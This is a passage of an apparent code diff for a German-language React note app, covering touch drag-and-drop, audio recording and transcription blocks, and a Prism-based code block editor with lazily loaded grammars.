if (d.y < EDGE) window.scrollBy(0, -Math.ceil((EDGE - d.y) / 6));
else if (d.y > window.innerHeight - EDGE) window.scrollBy(0, Math.ceil((d.y - (window.innerHeight - EDGE)) / 6));
hoverAt(d.x, d.y);
}
frame = requestAnimationFrame(scroll);
};
frame = requestAnimationFrame(scroll);
const move = (e: TouchEvent) => {
e.preventDefault();
const t = e.touches[0];
if (!t || !dragRef.current) return;
dragRef.current = { ...dragRef.current, x: t.clientX, y: t.clientY };
setDrag(dragRef.current);
};
const end = (e: TouchEvent) => {
const d = dragRef.current;
dragRef.current = null;
setDrag(null);
suppressClickRef.current = true;
window.setTimeout(() => (suppressClickRef.current = false), 400);
if (!d) return;
if (e.type === 'touchcancel') callbacks.current.onCancel();
else callbacks.current.onDrop(d.taskId, hoverRef.current.col, hoverRef.current.target);
hoverRef.current = { col: null, target: null };
};
document.addEventListener('touchmove', move, { passive: false });
document.addEventListener('touchend', end);
document.addEventListener('touchcancel', end);
return () => {
cancelAnimationFrame(frame);
document.removeEventListener('touchmove', move);
document.removeEventListener('touchend', end);
document.removeEventListener('touchcancel', end);
};
// Listeners live as long as one drag; positions are read from refs
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [Boolean(drag)]);
/** Props for a card; label is what the lifted card shows */
const cardProps = useCallback(
(taskId: string, label: string, draggable: boolean) => {
if (!enabled || !draggable) return {};
return {
onTouchStart: (e: React.TouchEvent<HTMLElement>) => {
if (e.touches.length !== 1) return;
const t = e.touches[0];
const el = e.currentTarget;
cancelHold();
holdRef.current = {
x: t.clientX,
y: t.clientY,
timer: window.setTimeout(() => {
const hold = holdRef.current;
holdRef.current = null;
if (!hold) return;
const r = el.getBoundingClientRect();
navigator.vibrate?.(15);
const d: Drag = { taskId, label, x: hold.x, y: hold.y, offsetX: hold.x - r.left, offsetY: hold.y - r.top, width: r.width };
dragRef.current = d;
hoverRef.current = { col: null, target: null };
setDrag(d);
callbacks.current.onStart(taskId);
}, HOLD_MS),
};
},
onTouchMove: (e: React.TouchEvent<HTMLElement>) => {
const h = holdRef.current;
const t = e.touches[0];
if (h && t && Math.hypot(t.clientX - h.x, t.clientY - h.y) > MOVE_TOLERANCE) cancelHold(); // scrolling
},
onTouchEnd: cancelHold,
onTouchCancel: cancelHold,
// The long press must not open the browser's context menu or select text
onContextMenu: (e: React.MouseEvent) => e.preventDefault(),
style: { WebkitTouchCallout: 'none' } as React.CSSProperties,
};
},
[enabled]
);
/** A tap right after a drag must not open the task */
const consumeClick = () => suppressClickRef.current;
const ghost = drag
? createPortal(
<div
className="fixed z-[80] pointer-events-none panel-surface shadow-panel px-3 py-2.5 text-xs font-medium text-main rotate-1 opacity-95 border-accent"
style={{ left: drag.x - drag.offsetX, top: drag.y - drag.offsetY, width: drag.width }}
>
{drag.label}
</div>,
document.body
)
: null;
return { cardProps, ghost, consumeClick, dragging: Boolean(drag) };
}
@@ -0,0 +1,136 @@
import React, { useEffect, useRef, useState } from 'react';
import { FileAudio, Loader2, Wand2 } from 'lucide-react';
import { api } from '../../lib/api';
import { mediaBlob, mediaObjectURL, parseMediaContent } from '../../lib/media';
import { loadVoiceConfig } from '../../lib/voice';
interface AudioBlockProps {
content: string;
canEdit: boolean;
onCaptionChange: (caption: string) => void;
}
// Audio block: player plus caption. With the own Whisper server the recording can be turned into text,
// which becomes the caption (and so searchable).
export const AudioBlock: React.FC<AudioBlockProps> = ({ content, canEdit, onCaptionChange }) => {
const ref = parseMediaContent(content);
const mediaId = ref?.id;
const [src, setSrc] = useState<string | null>(null);
const [failed, setFailed] = useState(false);
const [caption, setCaption] = useState(ref?.caption || '');
const [canTranscribe, setCanTranscribe] = useState(false);
const [transcribing, setTranscribing] = useState(false);
const [error, setError] = useState<string | null>(null);
const audioRef = useRef<HTMLAudioElement>(null);
// Recordings from Chrome (WebM) carry no length: jump to the end once so the browser measures it,
// otherwise the player shows no total time and seeking does not work
const fixDuration = () => {
const a = audioRef.current;
if (!a || Number.isFinite(a.duration)) return;
const reset = () => {
a.removeEventListener('timeupdate', reset);
a.currentTime = 0;
};
a.addEventListener('timeupdate', reset);
a.currentTime = 1e101;
};
useEffect(() => {
setCaption(ref?.caption || '');
}, [ref?.caption]);
useEffect(() => {
if (!mediaId) return;
let alive = true;
setFailed(false);
mediaObjectURL(mediaId)
.then((u) => alive && setSrc(u))
.catch(() => alive && setFailed(true));
return () => {
alive = false;
};
}, [mediaId]);
useEffect(() => {
void loadVoiceConfig().then((cfg) => setCanTranscribe(cfg.mode === 'server'));
}, []);
if (!ref) {
return <div className="text-xs text-status-err py-1">Audio-Verweis ist beschädigt: {content}</div>;
}
const commitCaption = (value: string) => {
if (value.trim() !== ref.caption) onCaptionChange(value.trim());
};
const transcribe = async () => {
if (!src) return;
setTranscribing(true);
setError(null);
try {
const blob = await mediaBlob(ref.id);
const text = await api.transcribe(blob);
if (text) {
setCaption(text);
commitCaption(text);
} else {
setError('Nichts erkannt');
}
} catch (err: any) {
setError(err?.message || 'Spracherkennung fehlgeschlagen');
} finally {
setTranscribing(false);
}
};
return (
<div className="my-1 space-y-1">
{failed ? (
<div className="flex items-center gap-2 h-12 px-4 rounded-full border border-border bg-panel text-xs text-muted">
<FileAudio className="w-4 h-4" /> Aufnahme nicht verfügbar (offline oder gelöscht)
</div>
) : src ? (
<div className="flex items-center gap-2">
<audio ref={audioRef} controls preload="metadata" src={src} onLoadedMetadata={fixDuration} className="w-full max-w-md h-11" />
{canEdit && canTranscribe && (
<button
type="button"
onClick={() => void transcribe()}
disabled={transcribing}
title="In Text umwandeln (eigene Spracherkennung)"
className="btn-secondary !rounded-full h-11 sm:h-8 px-3 text-xs flex items-center gap-1.5 shrink-0 disabled:opacity-40"
>
{transcribing ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Wand2 className="w-3.5 h-3.5" />}
<span className="hidden sm:inline">{transcribing ? 'Wird erkannt…' : 'Transkribieren'}</span>
</button>
)}
</div>
) : (
<div className="flex items-center h-12 px-4 rounded-full border border-border bg-panel w-64">
<Loader2 className="w-4 h-4 animate-spin text-muted" />
</div>
)}
{canEdit ? (
<input
type="text"
value={caption}
onChange={(e) => setCaption(e.target.value)}
onBlur={() => commitCaption(caption)}
onKeyDown={(e) => {
if (e.key === 'Enter') {
e.preventDefault();
(e.target as HTMLInputElement).blur();
}
}}
placeholder="Beschriftung hinzufügen…"
className="w-full bg-transparent border-0 p-0 text-xs text-muted placeholder-faint focus:outline-none focus:ring-0"
/>
) : (
ref.caption && <p className="text-xs text-muted">{ref.caption}</p>
)}
{error && <p className="text-xs text-status-err">{error}</p>}
</div>
);
};
@@ -0,0 +1,183 @@
import React, { useEffect, useRef, useState } from 'react';
import { Loader2, Mic, Square, Upload, X } from 'lucide-react';
import { UploadedMedia, uploadMedia } from '../../lib/media';
import { VoiceRecorder } from '../../lib/voice';
import { VoiceWave } from '../../components/VoiceWave';
import { triggerHaptic } from '../../lib/api';
interface AudioRecorderPickerProps {
docId: string;
onDone: (media: UploadedMedia) => void;
onCancel: () => void;
}
const MAX_RECORDING_MS = 30 * 60 * 1000;
function formatTime(ms: number): string {
const s = Math.floor(ms / 1000);
return `${Math.floor(s / 60)}:${String(s % 60).padStart(2, '0')}`;
}
// Inline bubble an empty bullet turns into after /audio. Green button = start, red button = stop and
// save; the live wave runs left of the red button. An existing audio file can be uploaded instead.
export const AudioRecorderPicker: React.FC<AudioRecorderPickerProps> = ({ docId, onDone, onCancel }) => {
const [state, setState] = useState<'ready' | 'recording' | 'uploading'>('ready');
const [elapsed, setElapsed] = useState(0);
const [error, setError] = useState<string | null>(null);
const recorderRef = useRef<VoiceRecorder | null>(null);
const startedRef = useRef(0);
const tickRef = useRef<number | null>(null);
const fileRef = useRef<HTMLInputElement>(null);
const boxRef = useRef<HTMLDivElement>(null);
const stopTicking = () => {
if (tickRef.current !== null) window.clearInterval(tickRef.current);
tickRef.current = null;
};
useEffect(() => {
boxRef.current?.focus();
return () => {
stopTicking();
recorderRef.current?.cancel();
};
}, []);
const upload = async (blob: Blob, name: string) => {
setState('uploading');
setError(null);
try {
onDone(await uploadMedia(docId, blob, name));
} catch (err: any) {
setError(err?.message || 'Hochladen fehlgeschlagen');
setState('ready');
}
};
const stop = async () => {
const rec = recorderRef.current;
if (!rec) return;
recorderRef.current = null;
stopTicking();
triggerHaptic(20);
const blob = await rec.stop();
if (!blob) {
setError('Die Aufnahme ist leer');
setState('ready');
return;
}
const ext = blob.type.includes('mp4') ? 'm4a' : blob.type.includes('ogg') ? 'ogg' : 'webm';
await upload(blob, `sprachnotiz.${ext}`);
};
const start = async () => {
setError(null);
const rec = new VoiceRecorder();
try {
await rec.start();
} catch {
setError('Kein Zugriff auf das Mikrofon (Berechtigung, oder die Seite läuft nicht über HTTPS)');
return;
}
recorderRef.current = rec;
startedRef.current = Date.now();
setElapsed(0);
setState('recording');
triggerHaptic([15, 60, 25]);
tickRef.current = window.setInterval(() => {
const ms = Date.now() - startedRef.current;
setElapsed(ms);
if (ms >= MAX_RECORDING_MS) void stop();
}, 250);
};
const cancel = () => {
stopTicking();
recorderRef.current?.cancel();
recorderRef.current = null;
onCancel();
};
return (
<div
ref={boxRef}
tabIndex={-1}
onKeyDown={(e) => {
if (e.key === 'Escape') {
e.preventDefault();
cancel();
}
}}
className="my-1 inline-flex max-w-full flex-col gap-2 rounded-3xl border border-border bg-panel-elevated px-4 py-2 focus:outline-none"
>
<div className="flex items-center gap-3">
{state === 'recording' && (
<>
<span className="text-xs font-mono text-main tabular-nums">{formatTime(elapsed)}</span>
<VoiceWave getLevel={() => recorderRef.current?.level() ?? null} bars={11} className="h-6 text-status-err" />
</>
)}
{state === 'ready' && <span className="text-xs text-muted">Sprachnotiz aufnehmen</span>}
{state === 'uploading' && (
<span className="text-xs text-muted flex items-center gap-1.5">
<Loader2 className="w-3.5 h-3.5 animate-spin" /> Wird gespeichert…
</span>
)}
{state === 'recording' ? (
<button
type="button"
onClick={() => void stop()}
title="Aufnahme beenden und speichern"
aria-label="Aufnahme beenden und speichern"
className="w-14 h-14 sm:w-10 sm:h-10 rounded-full bg-status-err text-on-accent flex items-center justify-center shadow-panel shrink-0"
>
<Square className="w-5 h-5 sm:w-4 sm:h-4 fill-current" />
</button>
) : (
<button
type="button"
onClick={() => void start()}
disabled={state === 'uploading'}
title="Aufnahme starten"
aria-label="Aufnahme starten"
className="w-14 h-14 sm:w-10 sm:h-10 rounded-full bg-status-ok text-on-accent flex items-center justify-center shadow-panel shrink-0 disabled:opacity-40"
>
<Mic className="w-6 h-6 sm:w-5 sm:h-5" />
</button>
)}
{state === 'ready' && (
<button
type="button"
onClick={() => fileRef.current?.click()}
title="Audiodatei hochladen"
className="btn-secondary h-11 sm:h-8 px-3 text-xs flex items-center gap-1.5 shrink-0"
>
<Upload className="w-3.5 h-3.5" /> <span className="hidden sm:inline">Datei</span>
</button>
)}
<button
type="button"
onClick={cancel}
disabled={state === 'uploading'}
title="Abbrechen (Esc)"
className="w-11 h-11 sm:w-7 sm:h-7 flex items-center justify-center rounded-full text-muted hover:text-main hover:bg-panel shrink-0 disabled:opacity-40"
>
<X className="w-4 h-4" />
</button>
</div>
{error && <p className="text-xs text-status-err">{error}</p>}
<input
ref={fileRef}
type="file"
accept="audio/*"
hidden
onChange={(e) => {
const f = e.target.files?.[0];
if (f) void upload(f, f.name || 'audio');
}}
/>
</div>
);
};
@@ -0,0 +1,646 @@
import React, { useState, useEffect, useLayoutEffect, useMemo, useRef, useCallback } from 'react';
import Prism from 'prismjs';
import { Copy, Check } from 'lucide-react';
import { DocumentBlock } from '../../lib/types';
Prism.manual = true;
if (typeof globalThis !== 'undefined') {
(globalThis as Record<string, unknown>).Prism = Prism;
}
export interface CodeLanguageOption {
id: string;
label: string;
}
export interface CodeLanguageGroup {
label: string;
options: CodeLanguageOption[];
}
export const CODE_LANGUAGE_GROUPS: CodeLanguageGroup[] = [
{
label: 'Konfiguration & Daten',
options: [
{ id: 'yaml', label: 'YAML' },
{ id: 'json', label: 'JSON' },
{ id: 'toml', label: 'TOML' },
{ id: 'ini', label: 'INI' },
{ id: 'docker', label: 'Dockerfile' },
{ id: 'nginx', label: 'Nginx' },
{ id: 'hcl', label: 'HCL / Terraform' },
{ id: 'xml', label: 'XML' },
{ id: 'csv', label: 'CSV' },
{ id: 'graphql', label: 'GraphQL' },
{ id: 'protobuf', label: 'Protocol Buffers' },
],
},
{
label: 'Shell & Betrieb',
options: [
{ id: 'bash', label: 'Bash / Shell' },
{ id: 'powershell', label: 'PowerShell' },
{ id: 'makefile', label: 'Makefile' },
{ id: 'systemd', label: 'Systemd' },
{ id: 'vim', label: 'Vim' },
{ id: 'diff', label: 'Diff' },
{ id: 'git', label: 'Git' },
{ id: 'log', label: 'Log' },
],
},
{
label: 'Web & Frontend',
options: [
{ id: 'javascript', label: 'JavaScript' },
{ id: 'typescript', label: 'TypeScript' },
{ id: 'jsx', label: 'JSX' },
{ id: 'tsx', label: 'TSX' },
{ id: 'markup', label: 'HTML / Markup' },
{ id: 'html', label: 'HTML' },
{ id: 'css', label: 'CSS' },
{ id: 'scss', label: 'SCSS' },
],
},
{
label: 'Skriptsprachen',
options: [
{ id: 'python', label: 'Python' },
{ id: 'php', label: 'PHP' },
{ id: 'ruby', label: 'Ruby' },
{ id: 'lua', label: 'Lua' },
{ id: 'perl', label: 'Perl' },
],
},
{
label: 'System & Backend',
options: [
{ id: 'go', label: 'Go' },
{ id: 'rust', label: 'Rust' },
{ id: 'sql', label: 'SQL' },
{ id: 'c', label: 'C' },
{ id: 'cpp', label: 'C++' },
{ id: 'csharp', label: 'C#' },
{ id: 'java', label: 'Java' },
{ id: 'kotlin', label: 'Kotlin' },
{ id: 'swift', label: 'Swift' },
{ id: 'dart', label: 'Dart' },
{ id: 'zig', label: 'Zig' },
{ id: 'elixir', label: 'Elixir' },
{ id: 'scala', label: 'Scala' },
{ id: 'haskell', label: 'Haskell' },
],
},
{
label: 'Dokumentation & Text',
options: [
{ id: 'markdown', label: 'Markdown' },
{ id: 'latex', label: 'LaTeX' },
{ id: 'regex', label: 'Regex' },
{ id: 'text', label: 'Plain Text' },
],
},
];
export const CODE_LANGUAGES: CodeLanguageOption[] = CODE_LANGUAGE_GROUPS.flatMap((g) => g.options);
const KNOWN_OPTION_IDS = new Set<string>(CODE_LANGUAGES.map((l) => l.id));
const LANGUAGE_ALIASES: Record<string, string> = {
yml: 'yaml',
sh: 'bash',
shell: 'bash',
zsh: 'bash',
js: 'javascript',
mjs: 'javascript',
cjs: 'javascript',
ts: 'typescript',
mts: 'typescript',
cts: 'typescript',
py: 'python',
rb: 'ruby',
rs: 'rust',
cs: 'csharp',
'c#': 'csharp',
dotnet: 'csharp',
'c++': 'cpp',
cxx: 'cpp',
cc: 'cpp',
hpp: 'cpp',
h: 'c',
kt: 'kotlin',
kts: 'kotlin',
hs: 'haskell',
md: 'markdown',
tex: 'latex',
dockerfile: 'docker',
containerfile: 'docker',
htm: 'html',
svg: 'xml',
proto: 'protobuf',
ps1: 'powershell',
pwsh: 'powershell',
make: 'makefile',
gql: 'graphql',
tf: 'hcl',
terraform: 'hcl',
ex: 'elixir',
exs: 'elixir',
pl: 'perl',
conf: 'ini',
golang: 'go',
plaintext: 'text',
plain: 'text',
txt: 'text',
};
const SHORT_PREFIX_CANDIDATES = new Set<string>([
'c',
'go',
'js',
'ts',
'sh',
'py',
'rb',
'rs',
'cs',
'kt',
'hs',
'md',
'ex',
'pl',
'tf',
'tex',
'htm',
'yml',
'doc',
'docker',
'make',
'proto',
'plain',
]);
export function resolveLanguageId(raw?: string): string | undefined {
if (!raw) return undefined;
const key = raw.trim().toLowerCase();
if (!key) return undefined;
if (KNOWN_OPTION_IDS.has(key)) return key;
return LANGUAGE_ALIASES[key];
}
// True when a language token in `/code <lang>` or ````<lang>` cannot be a prefix of another language user is still typing
export function isUnambiguousLanguageShortcut(raw?: string): boolean {
if (!raw) return false;
const key = raw.trim().toLowerCase();
if (SHORT_PREFIX_CANDIDATES.has(key)) return false;
return Boolean(resolveLanguageId(key));
}
// On-demand loaders for Prism grammars (Vite code-splits each into its own chunk)
const PRISM_LOADERS: Record<string, () => Promise<unknown>> = {
yaml: () => import('prismjs/components/prism-yaml'),
json: () => import('prismjs/components/prism-json'),
toml: () => import('prismjs/components/prism-toml'),
ini: () => import('prismjs/components/prism-ini'),
docker: () => import('prismjs/components/prism-docker'),
nginx: () => import('prismjs/components/prism-nginx'),
hcl: () => import('prismjs/components/prism-hcl'),
csv: () => import('prismjs/components/prism-csv'),
graphql: () => import('prismjs/components/prism-graphql'),
protobuf: () => import('prismjs/components/prism-protobuf'),
bash: () => import('prismjs/components/prism-bash'),
powershell: () => import('prismjs/components/prism-powershell'),
makefile: () => import('prismjs/components/prism-makefile'),
systemd: () => import('prismjs/components/prism-systemd'),
vim: () => import('prismjs/components/prism-vim'),
diff: () => import('prismjs/components/prism-diff'),
git: () => import('prismjs/components/prism-git'),
log: () => import('prismjs/components/prism-log'),
typescript: () => import('prismjs/components/prism-typescript'),
jsx: () => import('prismjs/components/prism-jsx'),
tsx: () => import('prismjs/components/prism-tsx'),
scss: () => import('prismjs/components/prism-scss'),
python: () => import('prismjs/components/prism-python'),
'markup-templating': () => import('prismjs/components/prism-markup-templating'),
php: () => import('prismjs/components/prism-php'),
ruby: () => import('prismjs/components/prism-ruby'),
lua: () => import('prismjs/components/prism-lua'),
perl: () => import('prismjs/components/prism-perl'),
go: () => import('prismjs/components/prism-go'),
rust: () => import('prismjs/components/prism-rust'),
sql: () => import('prismjs/components/prism-sql'),
c: () => import('prismjs/components/prism-c'),
cpp: () => import('prismjs/components/prism-cpp'),
csharp: () => import('prismjs/components/prism-csharp'),
java: () => import('prismjs/components/prism-java'),
kotlin: () => import('prismjs/components/prism-kotlin'),
swift: () => import('prismjs/components/prism-swift'),
dart: () => import('prismjs/components/prism-dart'),
zig: () => import('prismjs/components/prism-zig'),
elixir: () => import('prismjs/components/prism-elixir'),
scala: () => import('prismjs/components/prism-scala'),
haskell: () => import('prismjs/components/prism-haskell'),
markdown: () => import('prismjs/components/prism-markdown'),
latex: () => import('prismjs/components/prism-latex'),
regex: () => import('prismjs/components/prism-regex'),
};
// Prerequisite grammars that must be loaded in order before the target grammar
const PRISM_DEPENDENCIES: Record<string, string[]> = {
tsx: ['jsx', 'typescript'],
cpp: ['c'],
php: ['markup-templating'],
scala: ['java'],
};
const inFlightGrammarLoads = new Map<string, Promise<boolean>>();
export function toPrismGrammarKey(lang?: string): string {
if (!lang) return '';
const resolved = resolveLanguageId(lang) || lang.trim().toLowerCase();
if (!resolved || resolved === 'text' || resolved === 'plaintext') return '';
if (resolved === 'html') return 'markup';
return resolved;
}
export async function loadPrismLanguage(lang?: string): Promise<boolean> {
const key = toPrismGrammarKey(lang);
if (!key) return false;
if (Prism.languages[key]) return true;
const existing = inFlightGrammarLoads.get(key);
if (existing) return existing;
const task = (async () => {
try {
const deps = PRISM_DEPENDENCIES[key];
if (deps) {
for (const dep of deps) {
if (!Prism.languages[dep]) {
await loadPrismLanguage(dep);
}
}
}
const loader = PRISM_LOADERS[key];
if (loader) {
await loader();
}
return Boolean(Prism.languages[key]);
} catch {
return false;
} finally {
inFlightGrammarLoads.delete(key);
}
})();
inFlightGrammarLoads.set(key, task);
return task;
}
export function escapeHtml(raw: string): string {
return raw
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;');
}
export interface CodeBlockEditorProps {
block: DocumentBlock;
content?: string;
canEdit?: boolean;
textareaRef?: React.MutableRefObject<HTMLTextAreaElement | null>;
registerTextareaRef?: (blockId: string, el: HTMLTextAreaElement | null) => void;
onChangeContent?: (content: string) => void;
onChangeLang?: (lang: string) => void;
/** Kept for callers; converting back to text lives in the bullet's action bubble now */
onConvertToText?: () => void;
handleFocus?: (e: React.FocusEvent<HTMLTextAreaElement>) => void;
handleBlur?: (e: React.FocusEvent<HTMLTextAreaElement>) => void;
handleContentChange?: (e: React.ChangeEvent<HTMLTextAreaElement>) => void;
handleKeyDown?: (e: React.KeyboardEvent<HTMLTextAreaElement>) => void;
}
export const CodeBlockEditor: React.FC<CodeBlockEditorProps> = ({
block,
content,
canEdit = true,
textareaRef,
registerTextareaRef,
onChangeContent,
onChangeLang,
handleFocus,
handleBlur,
handleContentChange,
handleKeyDown,
}) => {
const isControlled = content !== undefined;
const [uncontrolledContent, setUncontrolledContent] = useState<string>(block.content || '');
const currentContent = isControlled ? content : uncontrolledContent;
useEffect(() => {
if (!isControlled) {
setUncontrolledContent(block.content || '');
}
}, [block.content, isControlled]);
const [copied, setCopied] = useState(false);
const [loadedGrammar, setLoadedGrammar] = useState<string>('');
const copyTimerRef = useRef<number | null>(null);
const localTextareaRef = useRef<HTMLTextAreaElement | null>(null);
const preRef = useRef<HTMLPreElement | null>(null);
const lineNumbersRef = useRef<HTMLDivElement | null>(null);
useEffect(() => {
return () => {
if (copyTimerRef.current !== null) {
window.clearTimeout(copyTimerRef.current);
}
};
}, []);
const prismLang = toPrismGrammarKey(block.lang);
useEffect(() => {
if (!prismLang) return;
if (Prism.languages[prismLang]) {
setLoadedGrammar(prismLang);
return;
}
let cancelled = false;
loadPrismLanguage(prismLang).then((loaded) => {
if (!cancelled && loaded) {
setLoadedGrammar(prismLang);
}
});
return () => {
cancelled = true;
};
}, [prismLang]);
const highlightedHtml = useMemo(() => {
if (!currentContent) return '';
const activeLang = prismLang && (Prism.languages[prismLang] || loadedGrammar === prismLang) ? prismLang : '';
if (!activeLang) return escapeHtml(currentContent);
const grammar = Prism.languages[activeLang];
if (!grammar) return escapeHtml(currentContent);
try {
return Prism.highlight(currentContent, grammar, activeLang);
} catch {
return escapeHtml(currentContent);
}
}, [currentContent, prismLang, loadedGrammar]);
const adjustHeight = useCallback(() => {
const el = localTextareaRef.current;
if (!el) return;
el.style.height = 'auto';
el.style.height = `${Math.max(22, el.scrollHeight)}px`;
}, []);
useLayoutEffect(() => {
adjustHeight();
}, [currentContent, adjustHeight]);
const handleCopy = (e: React.MouseEvent) => {
e.stopPropagation();
try {
const p = navigator.clipboard?.writeText(currentContent);
if (p && typeof p.catch === 'function') {
p.catch(() => {});
}
} catch {
// ignore clipboard errors
}
setCopied(true);
if (copyTimerRef.current !== null) {
window.clearTimeout(copyTimerRef.current);
}
copyTimerRef.current = window.setTimeout(() => {
copyTimerRef.current = null;
setCopied(false);
}, 1500);
};
const applyContentUpdate = (newVal: string, target: HTMLTextAreaElement) => {
if (!isControlled) {
setUncontrolledContent(newVal);
}
if (onChangeContent) {
onChangeContent(newVal);
} else if (handleContentChange) {
target.value = newVal;
handleContentChange({
target,
currentTarget: target,
} as React.ChangeEvent<HTMLTextAreaElement>);
}
};
const onTextareaChange = (e: React.ChangeEvent<HTMLTextAreaElement>) => {
if (!canEdit) return;
if (!isControlled) {
setUncontrolledContent(e.target.value);
}
if (handleContentChange) {
handleContentChange(e);
} else if (onChangeContent) {
onChangeContent(e.target.value);
}
};
const onTextareaKeyDown = (e: React.KeyboardEvent<HTMLTextAreaElement>) => {
if (canEdit && e.key === 'Tab') {
e.preventDefault();
e.stopPropagation();
const ta = e.currentTarget;
const val = currentContent;
const start = ta.selectionStart ?? 0;
const end = ta.selectionEnd ?? start;
const lineStart = start === 0 ? 0 : val.lastIndexOf('\n', start - 1) + 1;
const effectiveEnd = end > start && val[end - 1] === '\n' ? end - 1 : end;
const lineEndIdx = val.indexOf('\n', effectiveEnd);
const blockEnd = lineEndIdx === -1 ? val.length : lineEndIdx;
const lines = val.slice(lineStart, blockEnd).split('\n');
if (!e.shiftKey) {
const updatedLines = lines.map((line) => ' ' + line);
const newVal = val.slice(0, lineStart) + updatedLines.join('\n') + val.slice(blockEnd);
const newStart = start + 2;
const newEnd = end + updatedLines.length * 2;
applyContentUpdate(newVal, ta);
ta.value = newVal;
ta.setSelectionRange(newStart, newEnd);
setTimeout(() => {
if (localTextareaRef.current) {
localTextareaRef.current.setSelectionRange(newStart, newEnd);
}
}, 0);
} else {
let removedFirst = 0;
let removedTotal = 0;
const updatedLines = lines.map((line, idx) => {
let removeCount = 0;
if (line.startsWith(' ')) removeCount = 2;
else if (line.startsWith(' ') || line.startsWith('\t')) removeCount = 1;
if (idx === 0) removedFirst = removeCount;
removedTotal += removeCount;
return line.slice(removeCount);
});
if (removedTotal > 0) {
const newVal = val.slice(0, lineStart) + updatedLines.join('\n') + val.slice(blockEnd);
const newStart = Math.max(lineStart, start - removedFirst);
const newEnd = Math.max(newStart, end - removedTotal);
applyContentUpdate(newVal, ta);
ta.value = newVal;
ta.setSelectionRange(newStart, newEnd);
setTimeout(() => {
if (localTextareaRef.current) {
localTextareaRef.current.setSelectionRange(newStart, newEnd);
}
}, 0);
}
}
return;
}
handleKeyDown?.(e);
};
const handleScroll = (e: React.UIEvent<HTMLTextAreaElement>) => {
const target = e.currentTarget;
if (preRef.current) {
preRef.current.scrollTop = target.scrollTop;
preRef.current.scrollLeft = target.scrollLeft;
}
if (lineNumbersRef.current) {
lineNumbersRef.current.scrollTop = target.scrollTop;
}
};
const handleLineNumbersScroll = (e: React.UIEvent<HTMLDivElement>) => {
const target = e.currentTarget;
if (localTextareaRef.current) {
localTextareaRef.current.scrollTop = target.scrollTop;
}
if (preRef.current) {
preRef.current.scrollTop = target.scrollTop;
}
};
const handleLineNumbersWheel = (e: React.WheelEvent) => {
if (localTextareaRef.current) {
localTextareaRef.current.scrollTop += e.deltaY;
}
};
const lineCount = useMemo(() => {
return currentContent.split('\n').length;
}, [currentContent]);
const rawLang = block.lang || '';
const selectValue = rawLang ? resolveLanguageId(rawLang) || rawLang : '';
const hasCustomUnknownLang = Boolean(selectValue && !KNOWN_OPTION_IDS.has(selectValue));
return (
<div className="group/code relative bg-code rounded-2xl my-0.5 max-w-full overflow-hidden">
{/* Language at the top left; no header bar */}
<div className="flex items-center px-1.5 pt-1 text-[11px] font-mono text-faint">
{canEdit ? (
<select
aria-label="Sprache auswählen"
value={selectValue}
onChange={(e) => onChangeLang?.(e.target.value)}
className="min-h-[44px] sm:min-h-0 bg-transparent text-faint hover:text-main focus:text-main font-mono text-[11px] font-medium border border-transparent hover:border-border focus:border-accent rounded-btn px-1 py-0.5 outline-none cursor-pointer"
>
<option value="" className="bg-panel text-main">
Text
</option>
{hasCustomUnknownLang && (
<option value={selectValue} className="bg-panel text-main">
{selectValue}
</option>
)}
{CODE_LANGUAGE_GROUPS.map((group) => (
<optgroup key={group.label} label={group.label} className="bg-panel text-muted">
{group.options.map((opt) => (
<option key={opt.id} value={opt.id} className="bg-panel text-main">
{opt.label}
</option>
))}
</optgroup>
))}
</select>
) : (
<span className="font-mono text-[11px] text-faint px-1">{block.lang || 'Text'}</span>
)}
</div>
{/* Copy: round icon button at the bottom right, shown on hover (always on touch screens) */}
<button
type="button"
onClick={handleCopy}
className="absolute bottom-2 right-2 z-10 h-9 w-9 sm:h-8 sm:w-8 rounded-full bg-panel border border-border shadow-panel flex items-center justify-center text-muted hover:text-main opacity-100 sm:opacity-0 sm:group-hover/code:opacity-100 focus-visible:opacity-100 transition-opacity cursor-pointer"
title={copied ? 'Kopiert!' : 'In die Zwischenablage kopieren'}
aria-label={copied ? 'Kopiert!' : 'Kopieren'}
>
{copied ? <Check className="w-3.5 h-3.5 text-status-ok" /> : <Copy className="w-3.5 h-3.5" />}
</button>
{/* Live Highlighted Overlay + Textarea with Line Numbers */}
<div className="flex relative w-full overflow-hidden">
{/* Line Numbers Column */}
<div
ref={lineNumbersRef}
aria-hidden="true"
onScroll={handleLineNumbersScroll}
onWheel={handleLineNumbersWheel}
data-testid="code-line-numbers"
className="select-none py-2 pl-2.5 pr-2 font-mono text-xs text-faint leading-relaxed text-right shrink-0 overflow-hidden"
>
{Array.from({ length: lineCount }, (_, i) => (
<div key={i + 1} data-line-number={i + 1}>
{i + 1}
</div>
))}
</div>
{/* Code Content (Overlay + Textarea) */}
<div className="relative flex-1 min-w-0 overflow-hidden">
<pre
ref={preRef}
aria-hidden="true"
className="absolute inset-0 m-0 p-2 font-mono text-xs text-main leading-relaxed whitespace-pre pointer-events-none select-none overflow-hidden"
>
<code
className={prismLang ? `language-${prismLang}` : 'language-none'}
dangerouslySetInnerHTML={{
__html: highlightedHtml + (currentContent.endsWith('\n') ? '\n' : ''),
}}
/>
</pre>
<textarea
ref={(el) => {
localTextareaRef.current = el;
if (textareaRef) textareaRef.current = el;
registerTextareaRef?.(block.id, el);
}}
rows={1}
value={currentContent}
readOnly={!canEdit}
spellCheck={false}
autoCapitalize="off"
autoComplete="off"
autoCorrect="off"
onFocus={handleFocus}
onBlur={handleBlur}
onChange={onTextareaChange}
onKeyDown={onTextareaKeyDown}
onScroll={handleScroll}
style={{ caretColor: 'var(--text-main)' }}
className="relative block w-full m-0 p-2 font-mono text-xs leading-relaxed whitespace-pre bg-transparent text-transparent caret-main selection:bg-accent/25 selection:text-transparent border-0 focus:outline-none focus:ring-0 resize-none overflow-x-auto"
/>
</div>
</div>
</div>
);
};
@@ -1,282 +0,0 @@
import React, { useState, useMemo, useRef } from 'react';
import Prism from 'prismjs';
import 'prismjs/components/prism-python';
import 'prismjs/components/prism-typescript';
import 'prismjs/components/prism-bash';
import 'prismjs/components/prism-json';
import 'prismjs/components/prism-go';
import 'prismjs/components/prism-sql';
import 'prismjs/components/prism-yaml';
import 'prismjs/components/prism-rust';
import 'prismjs/components/prism-c';
import 'prismjs/components/prism-cpp';
import 'prismjs/components/prism-java';
import 'prismjs/components/prism-php';
import 'prismjs/components/prism-docker';
import 'prismjs/components/prism-markdown';
import { Code, Copy, Check, Eye, Edit3 } from 'lucide-react';
